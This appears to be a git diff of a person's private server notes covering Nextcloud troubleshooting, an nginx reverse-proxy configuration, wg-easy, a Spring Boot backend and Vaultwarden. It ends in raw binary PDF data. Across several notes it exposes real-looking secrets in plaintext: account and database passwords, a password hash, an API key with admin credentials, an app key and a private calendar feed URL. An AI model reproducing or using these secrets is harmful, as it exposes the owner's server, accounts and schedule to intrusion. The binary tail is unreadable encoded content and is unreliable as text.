/home/zaine/master-folder # the 2 sets the setgid bit, which means that new files will inherit the group of the directory, which is www-data +``` + +### Older fixes + +So apparently, nextcloud needs to have www-data as the owner of the files, and to do that, we need to run the following command: + +``` bash +sudo chown -R www-data:www-data /home/zaine/master-folder +``` + +I modified the build scripts to change permissions back to zaine:zaine when deleting the output folder, then changing it back to www-. + +One other useful thing may be: + +``` bash + +docker exec -u 1000:1000 -it nextcloud-app-1 php occ files:scan --all + +# or + +docker exec -u 1000 nextcloud-app-1 php occ files:scan --path="zaine/files/master-folder" + +``` + +One other thing: + +``` bash + i FIXED IT BY doing this: + +zaine@zaine-HP-ProDesk-400-G1-SFF [09:47:47] [~/docker-services/nextcloud] +-> % docker exec -it postgres psql -U nextcloud -d nextcloud +psql (17.5 (Debian 17.5-1.pgdg120+1)) +Type "help" for help. + +nextcloud=> SELECT * FROM oc_file_locks; +nextcloud=> DELETE FROM oc_file_locks; +DELETE 15002 +nextcloud=> \q +zaine@zaine-HP-ProDesk-400-G1-SFF [09:49:01] [~/docker-services/nextcloud] +-> % docker exec -it nextcloud-app-1 ls /mnt/master-folder +alimiyyah attachments booking career hurra.txt org_files pdfs projects uni +zaine@zaine-HP-ProDesk-400-G1-SFF [09:49:04] [~/docker-services/nextcloud] +-> % docker exec -u 1000 -it nextcloud-app-1 php occ files:scan --all +Starting scan for user 1 out of 2 (halima) +Starting scan for user 2 out of 2 (zaine) ++---------+-------+-----+---------+---------+--------+--------------+ +| Folders | Files | New | Updated | Removed | Errors | Elapsed time | ++---------+-------+-----+---------+---------+--------+--------------+ +| 1985 | 12906 | 0 | 522 | 0 | 0 | 00:00:50 | ++---------+-------+-----+---------+---------+--------+--------------+ +zaine@zaine-HP-ProDesk-400-G1-SFF [09:49:59] [~/docker-services/nextcloud] +-> % + +there is some issue in the nextcloud permissions itself. if i create a file and delete it in windows, i get this error in the client: A +master-folder/hehe.txt +now +The resource you are trying to access is currently locked and cannot be modified. Please try changing it later, or contact your server administrator ... + +and if i try to delete it in nextcloud ui (web), it says file cant be deleted + +``` + +# Config + +Location is: + +sudo nano /var/lib/docker/volumes/nextcloudnextcloud/data/config/config.php + +# Accounts + +User is: zaine +Pass: Shakkal123\! + +# Legacy stuff + +Something I've been trying to reverse proxy ahead of time. Go to , you'll be prompted to login with a username and password: +Here's your credentials: + +Username: halima +Password: loser2104\! + +Once you've logged in, I've set up your account already, so there should be a calendar already there. + +To get your phone logged in, there's two ways: + +1. go to the following address: , scroll to the bottom, under devices and sessions, type in a random name (iphone), and click create new app password. You should then be able to generate a QR code (next to or under the password field), then you can scan that on your iphone app. + +2. inside the app, type the following URL: then follow the instructions. + +Im thinking of having this as our shared calendar and file system. The only users are us 2 and its completely off the internet (self-hosted). + +## network issues resolved by: + +``` bash + +docker network connect postgres_network postgres + +zaine@zaine-HP-ProDesk-400-G1-SFF [21:00:27] [~/docker-services/nextcloud] +-> % psql -h zserver.zapto.org -p 5432 -U zaine -d zxq_db +Password for user zaine: +psql (14.18 (Ubuntu 14.18-0ubuntu0.22.04.1), server 17.5 (Debian 17.5-1.pgdg120+1)) +WARNING: psql major version 14, server major version 17. +Some psql features might not work. +Type "help" for help. + +zxq_db=# \c nextcloud +psql (14.18 (Ubuntu 14.18-0ubuntu0.22.04.1), server 17.5 (Debian 17.5-1.pgdg120+1)) +WARNING: psql major version 14, server major version 17. +Some psql features might not work. +You are now connected to database "nextcloud" as user "zaine". +nextcloud=# GRANT ALL PRIVILEGES ON DATABASE nextcloud TO nextcloud; +GRANT +nextcloud=# GRANT USAGE ON SCHEMA public TO nextcloud; +GRANT CREATE ON SCHEMA public TO nextcloud; +GRANT +GRANT +nextcloud=# GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO nextcloud; +GRANT +nextcloud=# GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO nextcloud; +GRANT +nextcloud=# + +zaine +M22ZN-fmefj-RdF36-3BMfT-LfWo8 + +zaine +zxh123! + +``` + +## Connecting to IOS + + + +# ICS stuff: + +## To get the ID of a calendar subscription: + +``` + zaine@zaine-HP-ProDesk-400-G1-SFF [14:14:27] [~] +-> % docker exec nextcloud-app-1 php occ dav:list-subscriptions zaine ++-----------------------+-----------------------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| URI | Displayname | Refresh rate | Source | ++-----------------------+-----------------------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| outlookoffice365com-1 | outlook.office365.com | PT5M (default) | https://outlook.office365.com/owa/calendar/b910ea835e414663831e505f3d10baa2@microlise.com/d2568a0134fb49af92d39c1669c4729317662288011094411305/calendar.ics | ++-----------------------+-----------------------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+ + + +``` + +## emacs config to sync calendars: + +``` +(require 'org-caldav) +(require 'url) +(require 'icalendar) +(modify-coding-system-alist 'file "caldav-work\\.org\\'" 'utf-8-unix) +(defvar my/outlook-ics-url + "https://outlook.office365.com/owa/calendar/b910ea835e414663831e505f3d10baa2@microlise.com/d2568a0134fb49af92d39c1669c4729317662288011094411305/calendar.ics") + +(defvar my/outlook-org-file + "D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-work.org") + +(defvar my/ics-python-script + "D:\\_nextcloud\\master-folder\\org_files\\calendar\\ics_to_org.py") + +(defun my/sync-outlook-calendar () + "Fetch and expand Outlook ICS (including recurrences) into org file." + (interactive) + (message "Syncing Outlook calendar...") + (let* ((cmd (format "python \"%s\" \"%s\" \"%s\"" + my/ics-python-script + my/outlook-ics-url + my/outlook-org-file)) + (result (shell-command-to-string cmd))) + (message "Outlook calendar sync: %s" (string-trim result)))) + +;; Sync on startup and every 30 minutes +(my/sync-outlook-calendar) +(run-with-timer (* 30 60) (* 30 60) #'my/sync-outlook-calendar) +;; --- CalDAV for native Nextcloud calendars --- +(setq org-caldav-url "https://nextcloud.zainezq.com/remote.php/dav/calendars/zaine/") +(setq org-caldav-calendars + '((:calendar-id "personal" + :inbox "D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-personal.org" + :files nil) + (:calendar-id "zxh" + :inbox "D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-family.org" + :files nil))) + +;; --- Agenda files --- +(setq org-agenda-files + '("D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-personal.org" + "D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-work.org" + "D:\\_nextcloud\\master-folder\\org_files\\calendar\\caldav-family.org" + "D:\\_nextcloud\\master-folder\\org_files\\org_roam\\Books\\20250724230557-books_org_agenda.org")) + + +``` diff --git a/Technical/Server/Old NGINX Code.md b/Technical/Server/Old NGINX Code.md new file mode 100755 index 0000000..198644a --- /dev/null +++ b/Technical/Server/Old NGINX Code.md @@ -0,0 +1,265 @@ +--- +note type: + - server + - note +date: 2026-06-03 +done: true +--- +``` bash + + +-> % cat /etc/nginx/sites-available/zserver + + +server { + server_name zainezq.com; + + access_log /var/log/nginx/zserver.access.log combined; + error_log /var/log/nginx/zserver.error.log warn; + # Basic authentication for the entire server + auth_basic "Restricted Access"; + auth_basic_user_file /etc/nginx/.htpasswd; + + # Root location + location / { + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_redirect off; + + root /home/zaine/master-folder/org_files/org_web/output; + index index.html index.htm; + try_files $uri $uri/ =404; + } + +location /nginx_status { + stub_status; + } + +location /dockge/ { + proxy_pass http://127.0.0.1:5021/; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; +} + + + +location /guac/ { + proxy_pass http://127.0.0.1:3003/guacamole/; + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection $connection_upgrade; +} + + # PGAdmin4 location + location /pgadmin4/ { + proxy_set_header X-Script-Name /pgadmin4; + proxy_set_header Host $host; + proxy_pass http://127.0.0.1:5050; + proxy_redirect off; + } + + location /pdf/ { + proxy_pass http://127.0.0.1:8002/pdf/; + proxy_set_header X-Script-Name /pdf; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header Host $host; + proxy_redirect off; + } + + location /calibre { + proxy_bind $server_addr; + proxy_pass http://127.0.0.1:8083; + proxy_set_header Host $http_host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Scheme $scheme; + proxy_set_header X-Script-Name /calibre; # IMPORTANT: path has NO trailing slash + # This rewrites Calibre-Web's internal paths + proxy_redirect off; + proxy_http_version 1.1; + client_max_body_size 100M; + } + + + location /codeserver/ { + proxy_pass http://localhost:8441/; + rewrite ^/codeserver(/.*)$ $1 break; + + proxy_set_header Host $host; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Accept-Encoding gzip; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + location /filebrowser { + # prevents 502 bad gateway error + proxy_buffers 8 32k; + proxy_buffer_size 64k; + + client_max_body_size 75M; + + # redirect all HTTP traffic to localhost:8088; + proxy_pass http://127.0.0.1:9991; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + #proxy_set_header X-NginX-Proxy true; + + # enables WS support + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_read_timeout 999999999; + } + + + # Miniflux location + location /miniflux/ { + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_pass http://127.0.0.1:9433/miniflux/; + proxy_redirect off; + } + + # Jupyter location + location /jupyter/ { + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_pass http://127.0.0.1:8888/jupyter/; + proxy_redirect off; + + # WebSocket support + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + } + + location /portainer/ { + proxy_pass https://localhost:9443/; + proxy_ssl_verify off; # Because Portainer uses a self-signed cert by default + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Authorization ""; + # Required for WebSocket support + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + # Rewrite URL base path + rewrite ^/portainer(/.*)$ $1 break; + } + +location /wireguard/ { + proxy_pass http://127.0.0.1:124/; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Rewrite assets for subpath compatibility + proxy_set_header Accept-Encoding ""; + sub_filter 'href="/' 'href="/wireguard/'; + sub_filter 'src="/' 'src="/wireguard/'; + sub_filter_types text/css application/javascript; + sub_filter_once off; +} + +# /password -> /password/ +location = /password { return 301 /password/; } + +# Main app/API (disable inherited basic auth here) +location ^~ /password/ { + auth_basic off; + + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # WebSockets + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + # Keep the /password prefix upstream (NO trailing slash here) + proxy_pass http://127.0.0.1:8006; +} + +# (Optional but tidy) If you keep a dedicated WS block, disable auth there too +location ^~ /password/notifications/hub { + auth_basic off; + + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + + proxy_pass http://127.0.0.1:8006; +} + + + # Optional: Add a custom error page + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + + # Optional: Cache static assets for performance (add this new block) +# location ~* \.(jpg|jpeg|png|gif|ico|css|js|woff|woff2|ttf|eot|svg|html|htm)$ { +# root /home/zaine/master-folder/org_files/org_web/output; +# expires 30d; +# access_log off; +# } + + # Optional: Deny access to hidden files + location ~ /\. { + deny all; + } + + listen 443 ssl; # managed by Certbot + ssl_certificate /etc/letsencrypt/live/zainezq.com-0001/fullchain.pem; # managed by Certbot + ssl_certificate_key /etc/letsencrypt/live/zainezq.com-0001/privkey.pem; # managed by Certbot + include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot + + + + + +} + + +server { + if ($host = zserver.zapto.org) { + return 301 https://$host$request_uri; + } # managed by Certbot + + listen 80; + server_name zserver.zapto.org; + return 404; # managed by Certbot +} + +``` diff --git a/Technical/Server/Old Nextcloud.md b/Technical/Server/Old Nextcloud.md new file mode 100755 index 0000000..a766c00 --- /dev/null +++ b/Technical/Server/Old Nextcloud.md @@ -0,0 +1,70 @@ +--- +note type: + - server + - note +date: 2026-06-03 +done: true +--- +# wg + +Shakkal123\! + +docker run ghcr.io/wg-easy/wg-easy:14 node -e 'const bcrypt = require("bcryptjs"); const hash = bcrypt.hashSync("Shakkal123\!", 10); console.log(hash.replace(/\\$/g, "\[\]"));' + +Unable to find image 'ghcr.io/wg-easy/wg-easy:14' locally +14: Pulling from wg-easy/wg-easy +Digest: sha256:5f26407fd2ede54df76d63304ef184576a6c1bb73f934a58a11abdd852fab549 +Status: Downloaded newer image for ghcr.io/wg-easy/wg-easy:14 + +\[2a\]10$$E1lkGe/IH5EnFrQLhDH2M.yKk3Q7KlgRuu.fzf/76CbWoAMy4G83u + +# nextcloud: + +location ^\~ *nextcloud* { +authbasic off; + +proxypass ; +proxysetheader Host $host; +proxysetheader X-Real-IP $remoteaddr; +proxysetheader X-Forwarded-For $proxyaddxforwardedfor; +proxysetheader X-Forwarded-Proto $scheme; + +proxyhttpversion 1.1; +proxysetheader Upgrade $httpupgrade; +proxysetheader Connection "upgrade"; + +clientmaxbodysize 512M; +clientbodybuffersize 512k; + +addheader Referrer-Policy "no-referrer" always; +addheader X-Content-Type-Options "nosniff" always; +addheader X-Frame-Options "SAMEORIGIN" always; +addheader X-XSS-Protection "1; mode=block" always; +} + +location ^\~ /.well-known/carddav { +return 301 $scheme://$host/nextcloud/remote.php/dav; +} + +location ^\~ /.well-known/caldav { +return 301 $scheme://$host/nextcloud/remote.php/dav; +} + +location ^\~ /.well-known { +return 301 $scheme://$host/nextcloud/index.php$uri; +} + +# technitium + +location *technitium* { +proxypass ; +proxyhttpversion 1.1; +proxysetheader Host $host; +proxysetheader X-Real-IP $remoteaddr; +proxysetheader X-Forwarded-For $proxyaddxforwardedfor; +proxysetheader X-Forwarded-Proto $scheme; + +rewrite ^/technitium/(.\*)$ /$1 break; +} + +curl -X GET "" -H "X-API-Key: ptrKFQqKse9K4Nc9M5jnpc61fpAvGzdTOXTzswz9CwOF74=" -u "admin:shakkal123" diff --git a/Technical/Server/Server Backend.md b/Technical/Server/Server Backend.md new file mode 100755 index 0000000..c850114 --- /dev/null +++ b/Technical/Server/Server Backend.md @@ -0,0 +1,102 @@ +--- +note type: + - note + - server +date: 2026-06-03 +done: true +--- +# Introduction + +The original backend was written using FastAPI and has now been archived. + +In replacement, I have written a Java Spring Boot backend that handles all of the API calls the domain `zainezq.com` uses. + +Here is the repository for the backend: + +[Link to the backend repository](https://gitea.zainezq.com/zaine/org_backend) + +# Structure + +The backend is structured as a typical Spring Boot application. It consists of several packages that handle different aspects of the application: + + - ****Controllers****: These classes handle incoming HTTP requests and map them to appropriate service methods. + - ****Services****: These classes contain the business logic of the application. + - ****Repositories****: These classes interact with the database to perform CRUD operations. + - ****Models****: These classes represent the data structures used in the application. + +The full list of API endpoints can be viewed using Swagger UI, which is available at the `/swagger-ui.html` endpoint once the application is running. + +# Running the Application + +The application is built using Maven. To run the application, you can utilise the `Makefile` provided in the repository. + +The project is packaged as a Docker container, making it easy to deploy. You can build and run the Docker container using the following commands: + +``` bash + +docker compose build org_backend + +docker compose up -d org_backend + +# Alternatively: +docker compose down && docker compose build --no-cache && docker compose up -d + +# To check logs + +docker logs -f org_backend + +``` + +# Bruno + +Bruno is used for testing the backend API endpoints. It is a simple HTTP client that allows you to send requests to the backend and view the responses. I used the OpenAPI specification to generate Bruno tests for each endpoint. + +# Authentication + +The backend exposes public `/api/auth/register` and `/api/auth/login` endpoints. The website has a login page only; users are created through the API, then the login page stores the returned JWT in the browser. + +Protected requests include: + +``` text +Authorization: Bearer +``` + +# Future? + +## Integration with `notes.zainezq.com` + +As the API is primarily used by `zainezq.com`, I want to think of ways that `notes.zainezq.com` could also use it. This website is used to store all my notes, and they are exported using `org-publish` in Emacs. Perhaps I could write an Emacs Lisp package that interacts with the backend API to store and retrieve notes. + +Flow of how a note would be written: + +1. User writes a note in `notes.zainezq.com` as org mode. +2. When the note is saved, a POST request is sent to the backend API with the note content. +3. The backend API stores the note in the database. +4. This will trigger a function that republishes the notes website to include the new note. + +****Need to think more about this.**** + +# Update + +The org-backend is no longer hosted using docker, it is now using systemd. The backend is still built using Maven, but it is now deployed as a standalone application rather than a Docker container. + +Here are the commands needed: + +``` bash + +# To build the application +mvn clean package -DskipTests + +# To run the application +java -jar target/org_backend-1.0.0-SNAPSHOT.jar + +# systemctl commands +sudo systemctl start org_backend +sudo systemctl stop org_backend +sudo systemctl restart org_backend +sudo systemctl status org_backend + +# To check logs +journalctl -u org_backend -f + +``` diff --git a/Technical/Server/Server MOC.md b/Technical/Server/Server MOC.md new file mode 100755 index 0000000..de4fbb0 --- /dev/null +++ b/Technical/Server/Server MOC.md @@ -0,0 +1,22 @@ +--- +note type: + - moc + - server +date: 2026-06-03 +done: true +--- +- [[Old Nextcloud]] + +- [[Old NGINX Code]] + +- [[Actual (finance)]] + +- [[Server Backend]] + +- [[Nextcloud]] + +- [[Vaultwarden]] + +- [[Cloudflare]] + +- [[Gitea]] \ No newline at end of file diff --git a/Technical/Server/Vaultwarden.md b/Technical/Server/Vaultwarden.md new file mode 100755 index 0000000..3173493 --- /dev/null +++ b/Technical/Server/Vaultwarden.md @@ -0,0 +1,16 @@ +--- +note type: + - note + - server +date: 2026-06-03 +done: true +--- +Just ran into an issue where the IOS app was failing due to the latest version of bitwarden not being installed on the server. To fix this: + +``` bash + +docker compose pull + +docker compose up -d + +``` diff --git a/Technical/Technical MOC.md b/Technical/Technical MOC.md new file mode 100755 index 0000000..e96ac18 --- /dev/null +++ b/Technical/Technical MOC.md @@ -0,0 +1,40 @@ +--- +note type: + - moc + - technical +date: 2026-06-03 +done: true +--- +In this file I want to include technical information (things related to programming, coding and networking etc): + + - [Programming Projects](id:d63abaad-15e8-45d8-aafb-c634164ec0c0) + + - [AOC Notes](id:e7f2302b-16eb-476d-a7b9-be12f077819d) + + - [Web Port Notes](id:348df473-6443-4f4a-b366-95397b574989) + + - [Github Notes](id:ee6047b0-c878-4ec8-a1cf-9daf5c8f5b8e) + + - [Linux MOC](id:bdb493df-db92-4c93-9558-0b10fdff3048) + + - [Database MOC](id:e448cd99-afee-4702-947f-644bb34dc1aa) + + - [Emacs MOC](id:8fa3f476-6152-45f4-b618-50f1e4bce46c) + + - [Networking MOC](id:0880f089-a5ad-49cd-8ce3-f020a5941313) + + - [Leetcode Notes](id:9d1cfccc-8da7-41a3-b435-9857f0abe441) + + - [Haskell Notes](id:347d2663-515b-4d9a-9ee9-7706ee86a845) + + - [C Notes](id:5a207a1c-6f02-40d5-b42e-38daaa0aec10) + + - [Java MOC](id:ae343652-96fe-4341-8a36-ec3a1abd0dc6) + + - [Server MOC](id:f09cb4ed-1407-4187-9002-de2c5db13a8f) + + - [Technical Commonplace](id:37495d5f-2a77-40bc-b45c-8163189bbe6b) + + - [Concepts](id:22737796-6D31-49D5-84F2-F7BC73E45144) + + - [Website Stuff](id:84c371ea-6789-450e-978c-f1d77e725f4b) diff --git a/pdfs/_articles/The New Definition of Software Engineering in the Age of AI Is Already Here _ by Deep concept _ Let’s Code Future _ May, 2026 _ Medium.pdf b/pdfs/_articles/The New Definition of Software Engineering in the Age of AI Is Already Here _ by Deep concept _ Let’s Code Future _ May, 2026 _ Medium.pdf new file mode 100755 index 0000000000000000000000000000000000000000..d4f7cb4c3663cb5857549e72dc8e4e08afae663b GIT binary patch literal 771103 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 